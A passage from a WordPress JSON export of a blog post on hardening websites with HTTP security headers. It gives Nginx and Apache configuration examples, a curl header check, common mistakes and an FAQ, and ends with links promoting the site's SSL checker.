id=\"Removing_Information_Disclosure_Headers\"><\/span><strong> Removing Information Disclosure Headers<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ol>\n<p>This is important specially when it comes to outdated server components or application. Revealing this information helps attacker to have easier time searching for <strong>Common Vulnerabilities and Exposures<\/strong> <strong>(CVE)<\/strong>.<\/p>\n<p>Many servers expose unnecessary information such as:<\/p>\n<p>Server: Apache\/2.4.54<\/p>\n<p>X-Powered-By: PHP\/8.1<\/p>\n<p>Attackers use this information for fingerprinting.<\/p>\n<p><strong>Apache Hardening<\/strong><\/p>\n<p>ServerTokens Prod<\/p>\n<p>ServerSignature Off<\/p>\n<p><strong>PHP Hardening<\/strong><\/p>\n<p><code>expose_php = Off<\/code><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Recommended_Security_Header_Configuration\"><\/span><strong>Recommended Security Header Configuration<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Here\u2019s a practical baseline configuration for production environments.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Nginx_Example\"><\/span><strong>Nginx Example<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"nginx\">add_header Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\" always;\r\n\r\nadd_header Content-Security-Policy \"default-src 'self'; object-src 'none'; frame-ancestors 'none';\";\r\n\r\nadd_header X-Frame-Options \"DENY\";\r\n\r\nadd_header X-Content-Type-Options \"nosniff\";\r\n\r\nadd_header Referrer-Policy \"strict-origin-when-cross-origin\";\r\n\r\nadd_header Permissions-Policy \"geolocation=(), microphone=(), camera=()\";<\/pre>\n<h4><span class=\"ez-toc-section\" id=\"Apache_Example\"><\/span><strong>Apache Example<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"apache\">Header always set Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\"\r\n\r\nHeader set Content-Security-Policy \"default-src 'self'; object-src 'none'; frame-ancestors 'none';\"\r\n\r\nHeader always set X-Frame-Options \"DENY\"\r\n\r\nHeader set X-Content-Type-Options \"nosniff\"\r\n\r\nHeader set Referrer-Policy \"strict-origin-when-cross-origin\"\r\n\r\nHeader set Permissions-Policy \"geolocation=(), microphone=(), camera=()\"<\/pre>\n<h2><span class=\"ez-toc-section\" id=\"How_to_Test_Security_Headers\"><\/span><strong>How to Test Security Headers<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>After deployment, always verify your headers.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Manual_testing\"><\/span>Manual testing<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">curl -I https:\/\/site.com<\/pre>\n<p>Look for response headers:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">curl -I https:\/\/site.com<\/pre>\n<p>Content-Security-Policy<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">X-Frame-Options<\/pre>\n<h4><span class=\"ez-toc-section\" id=\"Using_Online_Security_Header_Checkers\"><\/span><strong>Using Online Security Header Checkers<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Automated tools simplify header validation and grading.<\/p>\n<p>\u2192<a href=\"https:\/\/siteinfocheck.com\/ssl-checker\"> SSL Checker Tool<\/a><\/p>\n<p>A good checker helps identify:<\/p>\n<ul>\n<li>Missing headers<\/li>\n<li>Misconfigurations<\/li>\n<li>Weak CSP rules<\/li>\n<li>Missing HSTS<\/li>\n<li>Deprecated policies<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Common_Security_Header_Mistakes\"><\/span><strong>Common Security Header Mistakes<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>Enabling HSTS Too Early<\/strong><\/p>\n<p>If HTTPS is not fully configured, users may become locked out. As I said, Browser won\u2019t let them procced and there is no going to be a \u201cI accept the risk and continue\u201d option.<\/p>\n<p><strong>Overly Restrictive CSP<\/strong><\/p>\n<p>Aggressive policies may break:<\/p>\n<ul>\n<li>Analytics<\/li>\n<li>Fonts<\/li>\n<li>APIs<\/li>\n<li>Third-party widgets<\/li>\n<\/ul>\n<p><strong>Relying Only on Headers<\/strong><\/p>\n<p>This is a really important consideration. Even most robust and well implemented security headers, can be exploited. Like maybe you have configured CSP or CORS well, but are you sure the other source you are reading data from or sending data to is safe? Even if it is a well-known source, best practice is to allways do your part and code a secure application as good as you can.<\/p>\n<p>Headers improve security but do not replace:<\/p>\n<ul>\n<li>Secure coding<\/li>\n<li>Input validation<\/li>\n<li>WAF protection<\/li>\n<li>Vulnerability management<\/li>\n<\/ul>\n<p><strong>Ignoring Browser Compatibility<\/strong><\/p>\n<p>Some older browsers may not support modern policies fully. Threat actors count on that.<\/p>\n<p>Always validate behavior across environments.<\/p>\n<p><strong>Security Headers and SSL\/TLS<\/strong><\/p>\n<p>Security headers work best alongside properly configured SSL\/TLS.<\/p>\n<p>Weak SSL configurations undermine otherwise strong browser protections.<\/p>\n<p>For example:<\/p>\n<ul>\n<li>HSTS requires HTTPS<\/li>\n<li>Secure cookies require TLS<\/li>\n<li>CSP assumes trusted encrypted delivery<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Security_Headers_and_SSL_Errors\"><\/span><strong>Security Headers and <a href=\"https:\/\/siteinfocheck.com\/blog\/why-your-website-shows-not-secure\/\">SSL Errors<\/a><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Incorrect HTTPS deployments can cause browser warnings and break security policies.<\/p>\n<p>Common issues include:<\/p>\n<ul>\n<li>Expired certificates<\/li>\n<li>Invalid chains<\/li>\n<li>Mixed content<\/li>\n<li>Self-signed certificates<\/li>\n<\/ul>\n<h4><span class=\"ez-toc-section\" id=\"Security_Headers_in_DevSecOps_Pipelines\"><\/span><strong>Security Headers in DevSecOps Pipelines<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>DevSecOps experts make sure that security checks are applied in early stages of an application development life cycle. Old days people would code for months then test it for security, but devsecops makes sure that every piece of code is tested before shipping. This is far better than checking thousands of lines all at once.<\/p>\n<p>Modern DevSecOps teams automate header validation as part of CI\/CD.<\/p>\n<p>Common approaches include:<\/p>\n<ul>\n<li>Automated security scans<\/li>\n<li>Infrastructure-as-Code policies<\/li>\n<li>Container security checks<\/li>\n<li>Reverse proxy hardening<\/li>\n<li>Kubernetes ingress configurations<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Security_Header_Monitoring\"><\/span><strong>Security Header Monitoring<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Security is not a one-time setup. Vulnerabilities come and go. Everyday new bugs are discovered. Monitoring is a much more serious concern in modern apps because of many different components that they have and how they work together. For instance you have coded a very nice and secure API using Fast API or NodeJS, but just two month after shipping, a CVE is announced on one of the packages you used in the code. Your code was fine as a whole, but a third-party package hurt you.<\/p>\n<p>Headers should be:<\/p>\n<ul>\n<li>Monitored continuously<\/li>\n<li>Audited regularly<\/li>\n<li>Updated as standards evolve<\/li>\n<\/ul>\n<p>Browser standards and recommendations change frequently.<\/p>\n<p>For example:<\/p>\n<ul>\n<li>Feature-Policy evolved into Permissions-Policy<\/li>\n<li>CSP directives continue expanding<\/li>\n<li>Legacy headers become deprecated<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Final_Thoughts\"><\/span><strong>Final Thoughts<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>HTTP security headers are one of the most effective low-cost security improvements available for modern websites.<\/p>\n<p>When properly implemented, headers provide strong protection against:<\/p>\n<ul>\n<li>Cross-Site Scripting (XSS)<\/li>\n<li>Clickjacking<\/li>\n<li>Protocol downgrade attacks<\/li>\n<li>MIME-sniffing<\/li>\n<li>Data leakage<\/li>\n<li>Unauthorized browser feature access<\/li>\n<\/ul>\n<p>For developers, security engineers, and DevSecOps teams, security headers should be part of every production deployment checklist.<\/p>\n<p>The best approach combines:<\/p>\n<ul>\n<li>Strong TLS configuration<\/li>\n<li>Secure coding practices<\/li>\n<li>Continuous monitoring<\/li>\n<li>Automated validation<\/li>\n<li>Carefully tuned security headers<\/li>\n<\/ul>\n<p>Together, these controls significantly reduce web application risk.<\/p>\n<p>&nbsp;<\/p>\n<div class=\"rank-math-block\">\n<h3><span class=\"ez-toc-section\" id=\"Which_HTTP_security_header_is_most_important\"><\/span>Which HTTP security header is most important?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>HSTS and CSP are generally considered the most impactful because they protect against HTTPS downgrade attacks and XSS vulnerabilities.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Can_security_headers_break_websites\"><\/span>Can security headers break websites?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Yes. Improper CSP or restrictive framing policies may interfere with scripts, APIs, or embedded content.<\/p>\n<p>Always test thoroughly before production deployment.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Is_X-Frame-Options_still_necessary\"><\/span>Is X-Frame-Options still necessary?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>It is still widely supported, but CSP\u2019s <code>frame-ancestors<\/code> directive is the modern preferred alternative.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Should_APIs_use_security_headers\"><\/span>Should APIs use security headers?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Yes. APIs benefit from headers such as HSTS, Referrer-Policy, and proper CORS configurations.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"How_often_should_security_headers_be_reviewed\"><\/span>How often should security headers be reviewed?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Review configurations regularly, especially after infrastructure changes, framework updates, or browser security changes.<\/p>\n<\/div>\n<p><strong>Check your website&#8217;s security headers with our <a href=\"https:\/\/siteinfocheck.com\/ssl-checker\">SSL Checker<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>First things first: What are HTTP Headers anyway? Well basically when you contact a server using HTTP protocol, in most cases, your message (read packet) would have Three parts. First one is the starting line which defines HTTP method (GET, POST and \u2026), URL\u00a0 and HTTP protocol version. second is the one holding HTTP headers, [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":159,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-155","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/posts\/155","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/comments?post=155"}],"version-history":[{"count":12,"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/posts\/155\/revisions"}],"predecessor-version":[{"id":165,"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/posts\/155\/revisions\/165"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/media\/159"}],"wp:attachment":[{"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/media?parent=155"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/categories?post=155"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/siteinfocheck.com\/blog\/wp-json\/wp\/v2\/tags?post=155"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}